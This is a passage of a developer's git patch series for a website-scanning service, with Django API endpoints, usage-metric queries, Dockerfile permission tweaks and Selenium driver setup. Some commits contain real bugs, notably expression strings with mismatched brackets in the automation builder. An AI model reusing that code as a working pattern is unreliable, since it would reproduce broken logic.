@@ -5257,7 +5638,7 @@ def search_resources(request: object) -> object:
     max_pages = 10 if resource_type == 'page' else 3
     while i <= max_pages and i <= (len(pages)-1):
         data.append({
-            'name': str(pages[i].page_url),
+            'str': str(pages[i].page_url),
             'path': f'/page/{pages[i].id}',
             'id'  : str(pages[i].id),
             'type': 'page',
@@ -5269,7 +5650,7 @@ def search_resources(request: object) -> object:
     max_cases = 10 if resource_type == 'case' else 3
     while i <= max_cases and i <= (len(cases)-1):
         data.append({
-            'name': str(cases[i].name),
+            'str': str(cases[i].name),
             'path': f'/case/{cases[i].id}',
             'id'  : str(cases[i].id),
             'type': 'case',
@@ -5281,7 +5662,7 @@ def search_resources(request: object) -> object:
     max_issues = 10 if resource_type == 'issue' else 3
     while i <= max_issues and i <= (len(issues)-1):
         data.append({
-            'name': str(issues[i].title),
+            'str': str(issues[i].title),
             'path': f'/issue/{issues[i].id}',
             'id'  : str(issues[i].id),
             'type': 'issue',
@@ -5315,29 +5696,16 @@ def get_home_metrics(request: object) -> object:
     # get user, account, sites, & issues
     user = request.user
     account = Member.objects.get(user=user).account
-    sites = Site.objects.filter(account=account)
-    issues = Issue.objects.filter(account=account, status='open')
+    sites = Site.objects.filter(account=account).count()
+    issues = Issue.objects.filter(account=account, status='open').count()
+    schedules = Schedule.objects.filter(account=account).count()
     
-    # setting defaults
-    issues = issues.count()
+    # setting resource defaults
     tests = account.usage['tests']
     scans = account.usage['scans']
     testcases = account.usage['testcases']
-    schedules = 0
-
-    # calculating metrics
-    for site in sites:
-        schedules += Schedule.objects.filter(site=site).count()
-
-        # getting associated pages
-        pages = Page.objects.filter(site=site)
-
-        # adding page scoped schedules 
-        for page in pages:
-            schedules += Schedule.objects.filter(page=page).count()
 
     # calculate usages
-    sites = sites.count()
     sites_usage = round((sites/account.max_sites)*100, 2) if sites > 0 else 0
     schedules_usage = round((schedules/account.max_schedules)*100, 2) if schedules > 0 else 0
     scans_usage = round((scans/account.usage['scans_allowed'])*100, 2) if scans > 0 else 0
@@ -5388,31 +5756,29 @@ def get_site_metrics(request: object) -> object:
     pages = Page.objects.filter(site=site)
 
     # setting detaults
-    # testcases = round(account.usage['testcases'] / max_sites) if account.usage['testcases'] > 0 else 0
-    # tests = round(account.usage['tests'] / max_sites) if account.usage['tests'] > 0 else 0
-    # scans = round(account.usage['scans'] / max_sites) if account.usage['scans'] > 0 else 0
     tests = account.usage['tests']
     scans = account.usage['scans']
     testcases = account.usage['testcases']
-    schedules = Schedule.objects.filter(site=site).count()
+    schedules = Schedule.objects.filter(
+        resources__icontains=str(site.id), scope='site',
+        account=account
+    ).count()
 
     # calculating page scoped schedules
     for page in pages:
-        schedules += Schedule.objects.filter(page=page).count()
-    
+        schedules += Schedule.objects.filter(
+            resources__icontains=str(page.id), scope='page',
+            account=account
+        ).count()
+        
     # calculate usage
     pages = pages.count()
     pages_usage = round((pages/account.max_pages)*100, 2) if pages > 0 else 0
-    # scans_usage = round((scans/round(account.usage['scans_allowed']/max_sites))* 100, 2) if scans > 0 else 0
-    # tests_usage = round((tests/round(account.usage['tests_allowed']/max_sites))* 100, 2) if tests > 0 else 0
-    # testcases_usage = round((testcases/round(account.usage['testcases_allowed']/max_sites))* 100, 2) if testcases > 0 else 0
-    # schedules_usage = round((schedules/round(account.max_schedules/max_sites))*100, 2) if schedules > 0 else 0
     schedules_usage = round((schedules/account.max_schedules)*100, 2) if schedules > 0 else 0
     scans_usage = round((scans/account.usage['scans_allowed'])*100, 2) if scans > 0 else 0
     tests_usage = round((tests/account.usage['tests_allowed'])*100, 2) if tests > 0 else 0
     testcases_usage = round((testcases/account.usage['testcases_allowed'])*100, 2) if testcases > 0 else 0
 
-
     # format data
     data = {
         "pages": pages, 
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index be335639..f83a2aef 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -37,11 +37,16 @@
     path('issue', views.Issues.as_view(), name='issue'),
     path('issue/search', views.IssuesSearch.as_view(), name='issue-search'),
     path('issue/<uuid:id>', views.IssueDetail.as_view(), name='issue-detail'),
+    path('issues/update', views.IssuesUpdate.as_view(), name='issues-update'),
+    path('issues/delete', views.IssuesDelete.as_view(), name='issues-delete'),
     path('issues/zapier', views.IssuesZapier.as_view(), name='issues-zapier'),
     path('report', views.Reports.as_view(), name='report'),
     path('report/<uuid:id>', views.ReportDetail.as_view(), name='report-detail'),
     path('schedule', views.Schedules.as_view(), name='schedule'),
     path('schedule/<uuid:id>', views.ScheduleDetail.as_view(), name='schedule-detail'),
+    path('schedule/run', views.ScheduleRun.as_view(), name='schedule-run'),
+    path('schedules/update', views.SchedulesUpdate.as_view(), name='schedule-update'),
+    path('schedules/delete', views.SchedulesDelete.as_view(), name='schedule-delete'),
     path('automation', views.Automations.as_view(), name='automation'),
     path('automation/<uuid:id>', views.AutomationDetail.as_view(), name='automation-detail'),
     path('process', views.Processes.as_view(), name='process'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index e76ddbdb..b8f8f894 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -343,6 +343,39 @@ def delete(self, request, id):
 
 
 
+class ScheduleRun(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post']
+
+    def post(self, request):
+        response = run_schedule(request)        
+        return response
+
+
+
+
+class SchedulesUpdate(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post',]
+
+    def post(self, request):
+        response = update_many_schedules(request)
+        return response
+
+
+
+
+class SchedulesDelete(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post',]
+
+    def post(self, request):
+        response = delete_many_schedules(request)
+        return response
+
+
+
+
 ### ------ Begin Automation Views ------ ###
 
 
@@ -595,6 +628,28 @@ def delete(self, request, id):
 
 
 
+class IssuesUpdate(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post',]
+
+    def post(self, request):
+        response = update_many_issues(request)
+        return response
+
+
+
+
+class IssuesDelete(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post',]
+
+    def post(self, request):
+        response = delete_many_issues(request)
+        return response
+
+
+
+
 class IssuesZapier(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get']

From 92d3eccc2f0d1f0a46135562948d264a0ee09971 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 11:21:48 -0600
Subject: [PATCH 685/752] trying to fix command timeout issues

---
 .github/workflows/dev-deploy.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml
index 562c84d7..db126a09 100644
--- a/.github/workflows/dev-deploy.yaml
+++ b/.github/workflows/dev-deploy.yaml
@@ -25,6 +25,7 @@ jobs:
         host: ${{ secrets.DEV_HOST }}
         username: ${{ secrets.DEV_USER }}
         key: ${{ secrets.DEV_KEY }}
+        command_timeout: 30m
         script: | 
           cd ~/app
           git pull origin dev

From 591e801974db9d6b1f74aa191c3b8b62e676fd93 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 11:51:08 -0600
Subject: [PATCH 686/752] testing premissions issues

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index f9d56e33..8f5f90ea 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -56,7 +56,7 @@ COPY ./app /app
 WORKDIR /app
 
 # setting ownership
-RUN chown -R app:app /app
+RUN chown -R app:app .
 RUN chown -R app:app /usr/bin/firefox
 RUN chown -R app:app /usr/bin/google-chrome-stable
 RUN chown -R app:app /usr/bin/microsoft-edge-stable

From f5990a14ad5cf70cefdbc562b903493e1636aa91 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 12:02:13 -0600
Subject: [PATCH 687/752] testing permissions issue

---
 Dockerfile | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 8f5f90ea..1e1bd8df 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -48,7 +48,7 @@ RUN npm install -g lodash yellowlabtools
 
 # installing requirements
 COPY ./setup/requirements/requirements.txt /requirements.txt
-RUN python3.12 -m pip install -r /requirements.txt
+RUN python3.12 -m pip install --user -r /requirements.txt
 
 # setting working dir
 RUN mkdir /app
@@ -56,7 +56,7 @@ COPY ./app /app
 WORKDIR /app
 
 # setting ownership
-RUN chown -R app:app .
+RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/firefox
 RUN chown -R app:app /usr/bin/google-chrome-stable
 RUN chown -R app:app /usr/bin/microsoft-edge-stable

From 9648ca622c55d81343a60b46fbd6f4563eee1abd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 12:33:09 -0600
Subject: [PATCH 688/752] testing again

---
 Dockerfile | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 1e1bd8df..c1e0bd89 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -46,9 +46,14 @@ RUN npm install -g lighthouse lighthouse-plugin-crux
 # installing lodash & yellowlabtools
 RUN npm install -g lodash yellowlabtools
 
+# virtual env 
+ENV VIRTUAL_ENV /opt/venv
+RUN python3 -m venv $VIRTUAL_ENV
+ENV PATH "$VIRTUAL_ENV/bin:$PATH"
+
 # installing requirements
 COPY ./setup/requirements/requirements.txt /requirements.txt
-RUN python3.12 -m pip install --user -r /requirements.txt
+RUN python3.12 -m pip install -r /requirements.txt
 
 # setting working dir
 RUN mkdir /app
@@ -63,7 +68,7 @@ RUN chown -R app:app /usr/bin/microsoft-edge-stable
 RUN chown -R app:app /usr/local/bin/yellowlabtools
 RUN chown -R app:app /usr/local/bin/lighthouse
 
-# setting user
+# setting userc
 USER app
 
 # staring up services

From 6db8fa86ecf64c5011c6e8283c34e74cc6bb6458 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 14:09:48 -0600
Subject: [PATCH 689/752] updated for permissions fixes

---
 Dockerfile | 25 ++++++++++++++++---------
 1 file changed, 16 insertions(+), 9 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index c1e0bd89..aab88a73 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,15 +1,19 @@
 # pull main python image
 FROM python:3.12-slim
 
+# adding labels
+LABEL Author="Scanerr" Support="hello@scanerr.io"
+
 # setting ENVs and Configs
 ENV PYTHONUNBUFFERED 1
 ENV DEBIAN_FRONTEND noninteractive
 ENV DOCKERIZED yes
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
 ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/google-chrome-stable
-
-# adding labels
-LABEL Author="Scanerr" Support="hello@scanerr.io"
+ENV MOZ_DISABLE_AUTO_SAFE_MODE 1
+ENV MOZ_NO_REMOTE 1
+ENV HOME /app
+ENV XDG_CACHE_HOME $HOME/.cache
 
 # create the app user
 RUN addgroup --system app && adduser --system app
@@ -46,11 +50,6 @@ RUN npm install -g lighthouse lighthouse-plugin-crux
 # installing lodash & yellowlabtools
 RUN npm install -g lodash yellowlabtools
 
-# virtual env 
-ENV VIRTUAL_ENV /opt/venv
-RUN python3 -m venv $VIRTUAL_ENV
-ENV PATH "$VIRTUAL_ENV/bin:$PATH"
-
 # installing requirements
 COPY ./setup/requirements/requirements.txt /requirements.txt
 RUN python3.12 -m pip install -r /requirements.txt
@@ -60,6 +59,10 @@ RUN mkdir /app
 COPY ./app /app
 WORKDIR /app
 
+# setting extra dirs
+RUN mkdir -p /app/.mozilla \
+    && mkdir -p /app/.cache
+
 # setting ownership
 RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/firefox
@@ -67,8 +70,12 @@ RUN chown -R app:app /usr/bin/google-chrome-stable
 RUN chown -R app:app /usr/bin/microsoft-edge-stable
 RUN chown -R app:app /usr/local/bin/yellowlabtools
 RUN chown -R app:app /usr/local/bin/lighthouse
+RUN chown -R app:app /tmp
+
+# cleaning up
+RUN apt-get clean && rm -rf /var/lib/apt/lists/*
 
-# setting userc
+# setting user
 USER app
 
 # staring up services

From cfeca45b827308651ab08b982f85c581dbdeaf8f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 14:10:28 -0600
Subject: [PATCH 690/752] adding new .configs .cache dirs to .gitignore

---
 .gitignore | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/.gitignore b/.gitignore
index 82919490..e1253eb3 100644
--- a/.gitignore
+++ b/.gitignore
@@ -21,3 +21,9 @@ app/api/migrations/*_*.py
 k8s/*/*-configs.yaml
 k8s/prod/old_configs/*
 
+app/chromedriver*
+
+app/.cache*
+app/.config*
+app/.local*
+app/.pki*

From d82eb744a16d6bfcdffb98648754ad0bc0715415 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 14:29:57 -0600
Subject: [PATCH 691/752] removed mkdir for /app

---
 Dockerfile | 1 -
 1 file changed, 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index aab88a73..82ae66f6 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -55,7 +55,6 @@ COPY ./setup/requirements/requirements.txt /requirements.txt
 RUN python3.12 -m pip install -r /requirements.txt
 
 # setting working dir
-RUN mkdir /app
 COPY ./app /app
 WORKDIR /app
 

From e8340454b5dda76eaba5e0862736317e287b9d93 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 15:19:58 -0600
Subject: [PATCH 692/752] added profile to firefox driver

---
 app/api/utils/driver.py | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py
index 3ee5b770..9df25e54 100644
--- a/app/api/utils/driver.py
+++ b/app/api/utils/driver.py
@@ -1,7 +1,9 @@
 from selenium import webdriver
 from selenium.webdriver.common.actions.action_builder import ActionBuilder
+from selenium.webdriver.firefox.options import Options
+from selenium.webdriver.firefox.firefox_profile import FirefoxProfile
 from datetime import datetime
-import time, os, sys
+import time, os, sys, tempfile
 
 
 
@@ -94,10 +96,15 @@ def driver_init(
     
     # setting broswer options for firefox
     if browser == 'firefox':
+        # setting profile 
+        temp_profile_dir = tempfile.mkdtemp()
+        ff_profile = FirefoxProfile(temp_profile_dir)
+        # adding arguments
         options.add_argument("-headless")
         options.page_load_strategy = 'none'
         options.set_preference("accept_insecure_certs", True)
         options.set_preference('layout.css.devPixelsPerPx', str(scale_factor))
+        options.profile = ff_profile
 
         # setting to mobile if reqeusted
         if device == 'mobile':

From 351867fa672f8b7e72e0af1e4c590dce4ccdec59 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 15:20:20 -0600
Subject: [PATCH 693/752] fixde some formatting issues

---
 app/api/utils/automater.py | 78 +++++++++++++++++++-------------------
 app/api/v1/ops/services.py | 29 ++++++++++++--
 2 files changed, 64 insertions(+), 43 deletions(-)

diff --git a/app/api/utils/automater.py b/app/api/utils/automater.py
index 83f9ae5e..c10c8a2e 100644
--- a/app/api/utils/automater.py
+++ b/app/api/utils/automater.py
@@ -121,9 +121,9 @@ def build_exp_list(self) -> None:
             if 'test_score' in expression['data_type']:
                 data_type = 'float(self.object.score)'
             elif 'current_health' in expression['data_type']:
-                data_type = '((float(self.object.lighthouse_delta["scores"]["current_average"]) + float(self.object.yellowlab_delta["scores"]["current_average"]))/2)'
+                data_type = '((float(self.object.lighthouse_delta["scores"].get("current_average",0)) + float(self.object.yellowlab_delta["scores"].get("current_average",0)))/2)'
             elif 'avg_image_score' in expression['data_type']:
-                data_type = 'float(self.object.images_delta["average_score"])'
+                data_type = 'float(self.object.images_delta.get("average_score",0))'
             elif 'image_scores' in expression['data_type']:
                 data_type = '[i["score"] for i in self.object.images_delta["images"]]' 
                 exp = f'{joiner}any(i{operator}{value} for i in {data_type})'
@@ -132,89 +132,89 @@ def build_exp_list(self) -> None:
 
             # high-level scan data
             elif 'health' in expression['data_type']:
-                data_type = '((float(self.object.lighthouse["scores"]["average"]) + float(self.object.yellowlab["scores"]["globalScore"]))/2)'
+                data_type = '((float(self.object.lighthouse["scores"].get("average"]) + float(self.object.yellowlab["scores"].get("globalScore"]))/2)'
             elif 'logs' in expression['data_type']:
                 data_type = 'len(self.object.logs)'
             
             # LH test data
             elif 'current_lighthouse_average' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse_delta["scores"]["current_average"])'
+                data_type = 'float(self.object.lighthouse_delta["scores"].get("current_average",0))'
             elif 'seo_delta' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse_delta["scores"]["seo_delta"])'
+                data_type = 'float(self.object.lighthouse_delta["scores"].get("seo_delta",0))'
             elif 'pwa_delta' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse_delta["scores"]["pwa_delta"])'
+                data_type = 'float(self.object.lighthouse_delta["scores"].get("pwa_delta",0))'
             elif 'crux_delta' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse_delta["scores"]["crux_delta"])'
+                data_type = 'float(self.object.lighthouse_delta["scores"].get("crux_delta",0))'
             elif 'best_practices_delta' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse_delta["scores"]["best_practices_delta"])'
+                data_type = 'float(self.object.lighthouse_delta["scores"].get("best_practices_delta", 0))'
             elif 'performance_delta' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse_delta["scores"]["performance_delta"])'
+                data_type = 'float(self.object.lighthouse_delta["scores"].get("performance_delta",0))'
             elif 'accessibility_delta' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse_delta["scores"]["accessibility_delta"])'
+                data_type = 'float(self.object.lighthouse_delta["scores"].get("accessibility_delta",0))'
             
             # LH scan data
             elif 'lighthouse_average' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse["scores"]["average"])'
+                data_type = 'float(self.object.lighthouse["scores"].get("average",0))'
             elif 'seo' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse["scores"]["seo"])'
+                data_type = 'float(self.object.lighthouse["scores"].get("seo",0))'
             elif 'pwa' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse["scores"]["pwa"])'
+                data_type = 'float(self.object.lighthouse["scores"].get("pwa",0))'
             elif 'crux' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse["scores"]["crux"])'
+                data_type = 'float(self.object.lighthouse["scores"].get("crux",0))'
             elif 'best_practices' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse["scores"]["best_practices"])'
+                data_type = 'float(self.object.lighthouse["scores"].get("best_practices",0))'
             elif 'performance' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse["scores"]["performance"])'
+                data_type = 'float(self.object.lighthouse["scores"].get("performance",0))'
             elif 'accessibility' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse["scores"]["accessibility"])'
+                data_type = 'float(self.object.lighthouse["scores"].get("accessibility",0))'
 
             # YL test data
             elif 'current_yellowlab_average' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"]["current_average"])'
+                data_type = 'float(self.object.yellowlab_delta["scores"].get("current_average",0))'
             elif 'pageWeight_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"]["pageWeight_delta"])'
+                data_type = 'float(self.object.yellowlab_delta["scores"].get("pageWeight_delta",0))'
             elif 'images_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"]["images_delta"])'
+                data_type = 'float(self.object.yellowlab_delta["scores"].get("images_delta",0))'
             elif 'domComplexity_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"]["domComplexity_delta"])'
+                data_type = 'float(self.object.yellowlab_delta["scores"].get("domComplexity_delta",0))'
             elif 'javascriptComplexity_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"]["javascriptComplexity_delta"])'
+                data_type = 'float(self.object.yellowlab_delta["scores"].get("javascriptComplexity_delta",0))'
             elif 'badJavascript_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"]["badJavascript_delta"])'
+                data_type = 'float(self.object.yellowlab_delta["scores"].get("badJavascript_delta",0))'
             elif 'jQuery_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"]["jQuery_delta"])'
+                data_type = 'float(self.object.yellowlab_delta["scores"].get("jQuery_delta",0))'
             elif 'cssComplexity_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"]["cssComplexity_delta"])'
+                data_type = 'float(self.object.yellowlab_delta["scores"].get("cssComplexity_delta",0))'
             elif 'badCSS_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"]["badCSS_delta"])'
+                data_type = 'float(self.object.yellowlab_delta["scores"].get("badCSS_delta",0))'
             elif 'fonts_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"]["fonts_delta"])'
+                data_type = 'float(self.object.yellowlab_delta["scores"].get("fonts_delta",0))'
             elif 'serverConfig_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"]["serverConfig_delta"])'
+                data_type = 'float(self.object.yellowlab_delta["scores"].get("serverConfig_delta",0))'
             
             # LH scan data
             elif 'yellowlab_average' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"]["globalScore"])'
+                data_type = 'float(self.object.yellowlab["scores"].get("globalScore",0))'
             elif 'pageWeight' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"]["pageWeight"])'
+                data_type = 'float(self.object.yellowlab["scores"].get("pageWeight",0))'
             elif 'images' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"]["images"])'
+                data_type = 'float(self.object.yellowlab["scores"].get("images",0))'
             elif 'domComplexity' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"]["domComplexity"])'
+                data_type = 'float(self.object.yellowlab["scores"].get("domComplexity",0))'
             elif 'javascriptComplexity' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"]["javascriptComplexity"])'
+                data_type = 'float(self.object.yellowlab["scores"].get("javascriptComplexity",0))'
             elif 'badJavascript' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"]["badJavascript"])'
+                data_type = 'float(self.object.yellowlab["scores"].get("badJavascript",0))'
             elif 'jQuery' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"]["jQuery"])'
+                data_type = 'float(self.object.yellowlab["scores"].get("jQuery",0))'
             elif 'cssComplexity' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"]["cssComplexity"])'
+                data_type = 'float(self.object.yellowlab["scores"].get("cssComplexity",0))'
             elif 'badCSS' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"]["badCSS"])'
+                data_type = 'float(self.object.yellowlab["scores"].get("badCSS",0))'
             elif 'fonts' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"]["fonts"])'
+                data_type = 'float(self.object.yellowlab["scores"].get("fonts",0))'
             elif 'serverConfig' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"]["serverConfig"])'
+                data_type = 'float(self.object.yellowlab["scores"].get("serverConfig",0))'
             
             # building exp if not defiined
             if exp is None:
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index e5f8b908..b58b132f 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5755,10 +5755,31 @@ def get_site_metrics(request: object) -> object:
     max_sites = account.max_sites
     pages = Page.objects.filter(site=site)
 
-    # setting detaults
-    tests = account.usage['tests']
-    scans = account.usage['scans']
-    testcases = account.usage['testcases']
+    # get last reset day 
+    f = '%Y-%m-%d %H:%M:%S.%f'
+    last_usage_date_str = account.meta.get('last_usage_reset')
+    last_usage_date_str = last_usage_date_str.replace('T', ' ').replace('Z', '')
+    last_usage_date = datetime.strptime(last_usage_date_str, f)
+    
+    # get scans
+    scans = Scan.objects.filter(
+        site=site,
+        time_created__gte=last_usage_date
+    ).count()
+
+    # get tests
+    tests = Test.objects.filter(
+        site=site,
+        time_created__gte=last_usage_date
+    ).count()
+
+    # get testcases
+    testcases = Testcase.objects.filter(
+        site=site,
+        time_created__gte=last_usage_date
+    ).count()
+
+    # get site scoped schedules
     schedules = Schedule.objects.filter(
         resources__icontains=str(site.id), scope='site',
         account=account

From 31e18da8d440cc66cb954a4a5347ac09c05e5bf9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 15:48:41 -0600
Subject: [PATCH 694/752] trying new migrations permissions issue

---
 Dockerfile | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/Dockerfile b/Dockerfile
index 82ae66f6..baa72aad 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -70,6 +70,8 @@ RUN chown -R app:app /usr/bin/microsoft-edge-stable
 RUN chown -R app:app /usr/local/bin/yellowlabtools
 RUN chown -R app:app /usr/local/bin/lighthouse
 RUN chown -R app:app /tmp
+RUN chown -R app:app /app/api/migrations
+RUN chmod -R 755 /app/api/migrations
 
 # cleaning up
 RUN apt-get clean && rm -rf /var/lib/apt/lists/*

From 95948efc88df9d20d4108793ee2910e1dfb7b7aa Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 19:08:28 -0600
Subject: [PATCH 695/752] testing

---
 Dockerfile                  | 51 ++++++++++++++++++++++++++-----------
 setup/scripts/entrypoint.sh |  6 ++++-
 2 files changed, 41 insertions(+), 16 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index baa72aad..7dccc898 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -5,24 +5,46 @@ FROM python:3.12-slim
 LABEL Author="Scanerr" Support="hello@scanerr.io"
 
 # setting ENVs and Configs
-ENV PYTHONUNBUFFERED 1
-ENV DEBIAN_FRONTEND noninteractive
-ENV DOCKERIZED yes
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/google-chrome-stable
-ENV MOZ_DISABLE_AUTO_SAFE_MODE 1
-ENV MOZ_NO_REMOTE 1
-ENV HOME /app
-ENV XDG_CACHE_HOME $HOME/.cache
+ENV HOME =                              /app
+ENV XDG_CACHE_HOME =                    $HOME/.cache
+ENV DOCKERIZED =                        yes
+ENV DEBIAN_FRONTEND =                   noninteractive
+ENV PYTHONUNBUFFERED =                  1
+ENV MOZ_NO_REMOTE =                     1
+ENV MOZ_DISABLE_AUTO_SAFE_MODE =        1
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD =  true 
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE =     /usr/bin/google-chrome-stable
+
 
 # create the app user
 RUN addgroup --system app && adduser --system app
 
 # installing system deps
-RUN apt-get update && apt-get install -y postgresql postgresql-client gcc make \
-    gfortran openssl libpq-dev curl libjpeg-dev libglib2.0-0 libsm6 libxrender1 \ 
-    libxext6 libgl1 libfontconfig apt-transport-https software-properties-common \
-    nasm autoconf libtool automake ca-certificates libfreetype6 
+RUN apt-get update && apt-get install -y \
+    postgresql \
+    postgresql-client \
+    gcc \
+    make \
+    gfortran \
+    openssl \
+    libpq-dev \
+    curl \
+    libsm6 \
+    libxrender1 \ 
+    libxext6 \
+    libgl1 \
+    nasm \
+    autoconf \
+    libtool \
+    automake \
+    libjpeg-dev \
+    libglib2.0-0 \
+    libfreetype6 \
+    ca-certificates \
+    libfontconfig \
+    apt-transport-https \
+    software-properties-common
+     
 
 # installing firefox-esr
 RUN apt-get update && apt-get install -y firefox-esr
@@ -69,9 +91,8 @@ RUN chown -R app:app /usr/bin/google-chrome-stable
 RUN chown -R app:app /usr/bin/microsoft-edge-stable
 RUN chown -R app:app /usr/local/bin/yellowlabtools
 RUN chown -R app:app /usr/local/bin/lighthouse
-RUN chown -R app:app /tmp
 RUN chown -R app:app /app/api/migrations
-RUN chmod -R 755 /app/api/migrations
+RUN chown -R app:app /tmp
 
 # cleaning up
 RUN apt-get clean && rm -rf /var/lib/apt/lists/*
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index fbac48bb..d8be025b 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -5,6 +5,7 @@ if [[ $1 == *"app"* ]]
 then 
   if [[ $2 == *"local"* ]]
   then
+    chown -R app:app /app/api/migrations &&
     python3 manage.py wait_for_db && 
     python3 manage.py makemigrations  --no-input &&
     python3 manage.py migrate --no-input &&
@@ -14,7 +15,8 @@ then
     python3 manage.py runserver 0.0.0.0:8000
   fi
   if [[ $2 == *"remote"* ]]
-    then 
+    then
+      chown -R app:app /app/api/migrations &&
       python3 manage.py wait_for_db && 
       python3 manage.py makemigrations  --no-input &&
       python3 manage.py migrate --no-input &&
@@ -28,6 +30,7 @@ fi
 # spin up celery
 if [[ $1 == *"celery"* ]]
 then
+  chown -R app:app /app/api/migrations &&
   python3 manage.py wait_for_db && 
   echo "pausing for migrations to complete..." && sleep 7s &&
   celery -A scanerr worker -E --loglevel=info -O fair
@@ -36,6 +39,7 @@ fi
 # spin up celery beat
 if [[ $1 == *"beat"* ]]
 then
+  chown -R app:app /app/api/migrations &&
   python3 manage.py wait_for_db &&
   echo "pausing for migrations to complete..." && sleep 7s &&
   celery -A scanerr beat --scheduler django --loglevel=info

